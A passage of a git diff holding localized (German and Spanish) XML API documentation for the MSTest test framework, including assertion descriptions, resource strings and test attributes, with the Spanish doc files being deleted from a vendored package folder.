Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen gleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen ungleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, die der Test erwartet. - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Sammlungen ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Sammlungen gleich sind. "Gleichheit" wird definiert durch die gleichen - Elemente in der gleichen Reihenfolge und Anzahl. Unterschiedliche Verweise auf den gleichen - Wert werden als gleich betrachtet. - - - Die erste zu vergleichende Sammlung. Dies ist die Sammlung, mit der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Sammlung. Dies ist die Sammlung, die vom - zu testenden Code generiert wird. - - - Die zu verwendende Vergleichsimplementierung beim Vergleichen von Elementen der Sammlung. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Ermittelt, ob die erste Sammlung eine Teilmenge der zweiten - Sammlung ist. Wenn eine der Mengen Elementduplikate enthält, muss die Anzahl - der Vorkommen des Elements in der Teilmenge kleiner oder - gleich der Anzahl der Vorkommen in der Obermenge sein. - - - Die Sammlung, von der der Test erwartet, dass sie enthalten ist in . - - - Die Sammlung, von der der Test erwartet, dass sie Folgendes enthält: . - - - TRUE, wenn: eine Teilmenge ist von - , andernfalls FALSE. - - - - - Generiert ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - Die zu verarbeitende Sammlung. - - - Die Anzahl der Nullelemente in der Sammlung. - - - Ein Wörterbuch, das Anzahl der Vorkommen jedes - Elements in der angegebenen Sammlung enthält. - - - - - Findet ein nicht übereinstimmendes Element in den beiden Sammlungen. Ein nicht übereinstimmendes - Element ist ein Element, für das sich die Anzahl der Vorkommen in der - erwarteten Sammlung von der Anzahl der Vorkommen in der tatsächlichen Sammlung unterscheidet. Von den - Sammlungen wird angenommen, dass unterschiedliche Verweise ungleich null mit der - gleichen Anzahl von Elementen vorhanden sind. Der Aufrufer ist für diese Ebene - der Überprüfung verantwortlich. Wenn kein nicht übereinstimmendes Element vorhanden ist, gibt die Funktion FALSE - zurück, und die out-Parameter sollten nicht verwendet werden. - - - Die erste zu vergleichende Sammlung. - - - Die zweite zu vergleichende Sammlung. - - - Die erwartete Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Die tatsächliche Anzahl von Vorkommen von - oder 0, wenn kein nicht übereinstimmendes - Element vorhanden ist. - - - Das nicht übereinstimmende Element (kann NULL sein) oder NULL, wenn kein nicht - übereinstimmendes Element vorhanden ist. - - - TRUE, wenn ein nicht übereinstimmendes Element gefunden wurde, andernfalls FALSE. - - - - - vergleicht die Objekte mithilfe von object.Equals - - - - - Basisklasse für Frameworkausnahmen. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Eine stark typisierte Ressourcenklasse zum Suchen nach lokalisierten Zeichenfolgen usw. - - - - - Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. - - - - - Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - Ressourcensuchen mithilfe dieser stark typisierten Ressourcenklasse. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zugriffszeichenfolge weist ungültige Syntax auf." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartete Sammlung enthält {1} Vorkommen von <{2}>. Die tatsächliche Sammlung enthält {3} Vorkommen. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Elementduplikat gefunden: <{1}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Groß-/Kleinschreibung unterscheidet sich für den tatsächlichen Wert: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz nicht größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1} ({2})>. Tatsächlich: <{3} ({4})>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Differenz größer als <{3}> zwischen erwartetem Wert <{1}> und tatsächlichem Wert <{2}> erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beliebiger Wert erwartet, ausgenommen: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Übergeben Sie keine Werttypen an AreSame(). In Object konvertierte Werte sind nie gleich. Verwenden Sie ggf. AreEqual(). {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Fehler von {0}. {1}" nach. - - - - - Sucht nach einer lokalisierten Zeichenfolge ähnlich der folgenden: "async TestMethod" wird mit UITestMethodAttribute nicht unterstützt. Entfernen Sie "async", oder verwenden Sie TestMethodAttribute. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen sind leer. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungsverweise zeigen auf das gleiche Sammlungsobjekt. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Beide Sammlungen enthalten die gleichen Elemente. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0}({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(null)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(object)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' enthält nicht Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} ({1})." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Assert.Equals sollte für Assertionen nicht verwendet werden. Verwenden Sie stattdessen Assert.AreEqual & Überladungen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Anzahl der Elemente in den Sammlungen stimmt nicht überein. Erwartet: <{1}>. Tatsächlich: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {0} stimmt nicht überein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} weist nicht den erwarteten Typ auf. Erwarteter Typ: <{2}>. Tatsächlicher Typ: <{3}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Element am Index {1} ist (null). Erwarteter Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' endet nicht mit Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ungültiges Argument: EqualsTester darf keine NULL-Werte verwenden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Objekt vom Typ {0} kann nicht in {1} konvertiert werden." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Das referenzierte interne Objekt ist nicht mehr gültig." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Eigenschaft {0} weist den Typ {1} auf. Erwartet wurde der Typ {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "{0} Erwarteter Typ: <{1}>. Tatsächlicher Typ: <{2}>." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt nicht mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Falscher Typ: <{1}>. Tatsächlicher Typ: <{2}>. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Zeichenfolge '{0}' stimmt mit dem Muster '{1}' überein. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Kein DataRowAttribute angegeben. Mindestens ein DataRowAttribute ist mit DataTestMethodAttribute erforderlich." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Keine Ausnahme ausgelöst. {1}-Ausnahme wurde erwartet. {0}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der Parameter '{0}' ist ungültig. Der Wert darf nicht NULL sein. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Unterschiedliche Anzahl von Elementen." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der Konstruktor mit der angegebenen Signatur wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich - "Der angegebene Member ({0}) wurde nicht gefunden. Möglicherweise müssen Sie Ihren privaten Accessor erneut generieren, - oder der Member ist ggf. privat und für eine Basisklasse definiert. Wenn Letzteres zutrifft, müssen Sie den Typ an den - Konstruktor von PrivateObject übergeben, der den Member definiert." nach. - . - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Zeichenfolge '{0}' beginnt nicht mit der Zeichenfolge '{1}'. {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Der erwartete Ausnahmetyp muss System.Exception oder ein von System.Exception abgeleiteter Typ sein." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "(Fehler beim Abrufen der Meldung vom Typ {0} aufgrund einer Ausnahme.)" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat erwartete Ausnahme {0} nicht ausgelöst. {1}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Die Testmethode hat keine Ausnahme ausgelöst. Vom Attribut {0}, das für die Testmethode definiert ist, wurde eine Ausnahme erwartet." nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Testmethode hat Ausnahme {0} ausgelöst, aber Ausnahme {1} oder ein davon abgeleiteter Typ wurde erwartet. Ausnahmemeldung: {2}" nach. - - - - - Schlägt eine lokalisierte Zeichenfolge ähnlich "Ausnahme {2} wurde ausgelöst, aber Ausnahme {1} wurde erwartet. {0} - Ausnahmemeldung: {3} - Stapelüberwachung: {4}" nach. - - - - - Ergebnisse des Komponententests - - - - - Der Test wurde ausgeführt, aber es gab Probleme. - Möglicherweise liegen Ausnahmen oder Assertionsfehler vor. - - - - - Der Test wurde abgeschlossen, es lässt sich aber nicht sagen, ob er bestanden wurde oder fehlerhaft war. - Kann für abgebrochene Tests verwendet werden. - - - - - Der Test wurde ohne Probleme ausgeführt. - - - - - Der Test wird zurzeit ausgeführt. - - - - - Systemfehler beim Versuch, einen Test auszuführen. - - - - - Timeout des Tests. - - - - - Der Test wurde vom Benutzer abgebrochen. - - - - - Der Test weist einen unbekannten Zustand auf. - - - - - Stellt Hilfsfunktionen für das Komponententestframework bereit. - - - - - Ruft die Ausnahmemeldungen (einschließlich der Meldungen für alle inneren Ausnahmen) - rekursiv ab. - - Ausnahme, für die Meldungen abgerufen werden sollen - Zeichenfolge mit Fehlermeldungsinformationen - - - - Enumeration für Timeouts, die mit der -Klasse verwendet werden kann. - Der Typ der Enumeration muss entsprechen: - - - - - Unendlich. - - - - - Das Testklassenattribut. - - - - - Erhält ein Testmethodenattribut, das die Ausführung des Tests ermöglicht. - - Die für diese Methode definierte Attributinstanz der Testmethode. - Diezum Ausführen dieses Tests - Extensions can override this method to customize how all methods in a class are run. - - - - Das Testmethodenattribut. - - - - - Führt eine Testmethode aus. - - Die auszuführende Textmethode. - Ein Array aus TestResult-Objekten, die für die Ergebnisses des Tests stehen. - Extensions can override this method to customize running a TestMethod. - - - - Das Testinitialisierungsattribut. - - - - - Das Testbereinigungsattribut. - - - - - Das Ignorierattribut. - - - - - Das Testeigenschaftattribut. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Der Name. - - - Der Wert. - - - - - Ruft den Namen ab. - - - - - Ruft den Wert ab. - - - - - Das Klasseninitialisierungsattribut. - - - - - Das Klassenbereinigungsattribut. - - - - - Das Assemblyinitialisierungsattribut. - - - - - Das Assemblybereinigungsattribut. - - - - - Der Testbesitzer. - - - - - Initialisiert eine neue Instanz der-Klasse. - - - Der Besitzer. - - - - - Ruft den Besitzer ab. - - - - - Prioritätsattribut. Wird zum Angeben der Priorität eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Die Priorität. - - - - - Ruft die Priorität ab. - - - - - Die Beschreibung des Tests. - - - - - Initialisiert eine neue Instanz der -Klasse zum Beschreiben eines Tests. - - Die Beschreibung. - - - - Ruft die Beschreibung eines Tests ab. - - - - - Der URI der CSS-Projektstruktur. - - - - - Initialisiert eine neue Instanz der -Klasse der CSS Projektstruktur-URI. - - Der CSS-Projektstruktur-URI. - - - - Ruft den CSS-Projektstruktur-URI ab. - - - - - Der URI der CSS-Iteration. - - - - - Initialisiert eine neue Instanz der-Klasse für den CSS Iterations-URI. - - Der CSS-Iterations-URI. - - - - Ruft den CSS-Iterations-URI ab. - - - - - WorkItem-Attribut. Wird zum Angeben eines Arbeitselements verwendet, das diesem Test zugeordnet ist. - - - - - Initialisiert eine neue Instanz der-Klasse für das WorkItem-Attribut. - - Die ID eines Arbeitselements. - - - - Ruft die ID für ein zugeordnetes Arbeitselement ab. - - - - - Timeoutattribut. Wird zum Angeben des Timeouts eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - Das Timeout. - - - - - Initialisiert eine neue Instanz der -Klasse mit einem voreingestellten Timeout. - - - Das Timeout. - - - - - Ruft das Timeout ab. - - - - - Das TestResult-Objekt, das an den Adapter zurückgegeben werden soll. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ruft den Anzeigenamen des Ergebnisses ab oder legt ihn fest. Hilfreich, wenn mehrere Ergebnisse zurückgegeben werden. - Wenn NULL, wird der Methodenname als DisplayName verwendet. - - - - - Ruft das Ergebnis der Testausführung ab oder legt es fest. - - - - - Ruft die Ausnahme ab, die bei einem Testfehler ausgelöst wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Ausgabe der Meldung ab, die vom Testcode protokolliert wird, oder legt sie fest. - - - - - Ruft die Debugablaufverfolgungen nach Testcode fest oder legt sie fest. - - - - - Gets or sets the debug traces by test code. - - - - - Ruft die Dauer der Testausführung ab oder legt sie fest. - - - - - Ruft den Datenzeilenindex in der Datenquelle ab, oder legt ihn fest. Nur festgelegt für Ergebnisse einer individuellen - Ausführung einer Datenzeile eines datengesteuerten Tests. - - - - - Ruft den Rückgabewert der Testmethode ab (zurzeit immer NULL). - - - - - Ruft die vom Test angehängten Ergebnisdateien ab, oder legt sie fest. - - - - - Gibt die Verbindungszeichenfolge, den Tabellennamen und die Zeilenzugriffsmethode für datengesteuerte Tests an. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Der Standardanbietername für DataSource. - - - - - Die standardmäßige Datenzugriffsmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter, einer Verbindungszeichenfolge, einer Datentabelle und einer Datenzugriffsmethode für den Zugriff auf die Daten initialisiert. - - Invarianter Datenanbietername, z. B. "System.Data.SqlClient" - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - Gibt die Reihenfolge für den Datenzugriff an. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einer Verbindungszeichenfolge und einem Tabellennamen initialisiert. - Geben Sie eine Verbindungszeichenfolge und Datentabelle an, um auf die OLEDB-Datenquelle zuzugreifen. - - - Die für den Datenanbieter spezifische Verbindungszeichenfolge. - WARNUNG: Die Verbindungszeichenfolge kann sensible Daten (z. B. ein Kennwort) enthalten. - Die Verbindungszeichenfolge wird als Nur-Text im Quellcode und in der kompilierten Assembly gespeichert. - Schränken Sie den Zugriff auf den Quellcode und die Assembly ein, um diese vertraulichen Informationen zu schützen. - - Der Name der Datentabelle. - - - - Initialisiert eine neue Instanz der -Klasse. Diese Instanz wird mit einem Datenanbieter und einer Verbindungszeichenfolge mit dem Namen der Einstellung initialisiert. - - Der Name einer Datenquelle, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - Ruft einen Wert ab, der den Datenanbieter der Datenquelle darstellt. - - - Der Name des Datenanbieters. Wenn kein Datenanbieter während der Objektinitialisierung festgelegt wurde, wird der Standardanbieter "System.Data.OleDb" zurückgegeben. - - - - - Ruft einen Wert ab, der die Verbindungszeichenfolge für die Datenquelle darstellt. - - - - - Ruft einen Wert ab, der den Tabellennamen angibt, der Daten bereitstellt. - - - - - Ruft die Methode ab, die für den Zugriff auf die Datenquelle verwendet wird. - - - - Einer der-Werte. Wenn das nicht initialisiert wurde, wird der Standardwert zurückgegeben. . - - - - - Ruft den Namen einer Datenquelle ab, die im Abschnitt <microsoft.visualstudio.qualitytools> in der Datei "app.config" gefunden wurde. - - - - - Ein Attribut für datengesteuerte Tests, in denen Daten inline angegeben werden können. - - - - - Ermittelt alle Datenzeilen und beginnt mit der Ausführung. - - - Die test-Methode. - - - Ein Array aus . - - - - - Führt die datengesteuerte Testmethode aus. - - Die auszuführende Testmethode. - Die Datenzeile. - Ergebnisse der Ausführung. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 6655c2f6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Se usa para especificar el elemento (archivo o directorio) para la implementación por prueba. - Puede especificarse en la clase de prueba o en el método de prueba. - Puede tener varias instancias del atributo para especificar más de un elemento. - La ruta de acceso del elemento puede ser absoluta o relativa. Si es relativa, lo es respecto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Inicializa una nueva instancia de la clase . - - Archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - - - - Inicializa una nueva instancia de la clase . - - Ruta de acceso relativa o absoluta al archivo o directorio para implementar. La ruta de acceso es relativa al directorio de salida de compilación. El elemento se copiará en el mismo directorio que los ensamblados de prueba implementados. - Ruta de acceso del directorio en el que se van a copiar los elementos. Puede ser absoluta o relativa respecto al directorio de implementación. Todos los archivos y directorios que identifica se copiarán en este directorio. - - - - Obtiene la ruta de acceso al archivo o carpeta de origen que se debe copiar. - - - - - Obtiene la ruta de acceso al directorio donde se copia el elemento. - - - - - Ejecuta el código de la prueba en el subproceso de la interfaz de usuario para aplicaciones de la Tienda Windows. - - - - - Ejecuta el método de prueba en el subproceso de la interfaz de usuario. - - - El método de prueba. - - - Una matriz de Instancias. - - Throws when run on an async test method. - - - - - Clase TestContext. Esta clase debe ser totalmente abstracta y no contener ningún - miembro. El adaptador implementará los miembros. Los usuarios del marco solo deben - tener acceso a esta clase a través de una interfaz bien definida. - - - - - Obtiene las propiedades de una prueba. - - - - - Obtiene el nombre completo de la clase que contiene el método de prueba que se está ejecutando. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtiene el nombre del método de prueba que se está ejecutando. - - - - - Obtiene el resultado de la prueba actual. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 5b05af93..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/es/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4199 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atributo TestMethod para la ejecución. - - - - - Obtiene el nombre del método de prueba. - - - - - Obtiene el nombre de la clase de prueba. - - - - - Obtiene el tipo de valor devuelto del método de prueba. - - - - - Obtiene los parámetros del método de prueba. - - - - - Obtiene el valor de methodInfo para el método de prueba. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca el método de prueba. - - - Argumentos que se pasan al método de prueba (por ejemplo, controlada por datos) - - - Resultado de la invocación del método de prueba. - - - This call handles asynchronous test methods as well. - - - - - Obtiene todos los atributos del método de prueba. - - - Indica si el atributo definido en la clase primaria es válido. - - - Todos los atributos. - - - - - Obtiene un atributo de un tipo específico. - - System.Attribute type. - - Indica si el atributo definido en la clase primaria es válido. - - - Atributos del tipo especificado. - - - - - Elemento auxiliar. - - - - - Parámetro de comprobación no NULL. - - - El parámetro. - - 